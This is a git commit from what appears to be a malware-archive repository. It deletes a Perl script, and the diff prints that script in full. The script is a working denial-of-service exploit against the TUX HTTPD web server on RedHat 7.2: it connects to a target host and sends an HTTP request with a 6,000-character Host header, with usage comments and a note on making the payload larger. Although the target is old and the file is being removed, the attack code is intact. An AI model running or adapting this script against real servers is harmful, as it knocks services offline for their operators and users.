From 0449f3925281622a30b0768c07e4b17bddb16673 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:19:49 -0600
Subject: [PATCH] Delete DoS.Perl.Httux

na
---
 Perl/DoS.Perl.Httux | 44 --------------------------------------------
 1 file changed, 44 deletions(-)
 delete mode 100644 Perl/DoS.Perl.Httux

diff --git a/Perl/DoS.Perl.Httux b/Perl/DoS.Perl.Httux
deleted file mode 100644
index 93b5c4a0..00000000
--- a/Perl/DoS.Perl.Httux
+++ /dev/null
@@ -1,44 +0,0 @@
-use IO::Socket;
-
-#USE .                                          
-#./tuxDOS.pl www.some.com.mx 80
-#TUX HTTPD Denial of Service for RedHat 7.2 
-#hecho por malcom-x 
-#cantact : malcomX@antisocial.com
-#####################################################################
-
-
-if(@ARGV == 2){
-    my $host = $ARGV[0];
-    my $port = $ARGV[1];
-    $EOL = "\015\012";
-    $BLANK = $EOL x 2;
-    #you can increment num of request in $sm change this value -> 6000 <-, for enlarge host.
-    $sm = A x 6000;  
-   
-    $sock = IO::Socket::INET->new(PeerAddr => $host,
-				  PeerPort => "$port",
-				  Proto => 'tcp');
-    unless($sock){
-        die "jeje Not  vulnerable try later.";
-	}
-    $sock->autoflush(1);
-    
-    print $sock "GET / HTTP/1.0\nAccept: */*\nHost: ". $sm ."\n" .$BLANK;
-    while ( <$sock> ){ 
-	print; 
-    }
-
-    close $sock;
-   }else{
-    print "[Usage]...\n./tuxDOS.pl 'HosT' [port] \n";
-}
-
-
-
-
-
-
-
-
-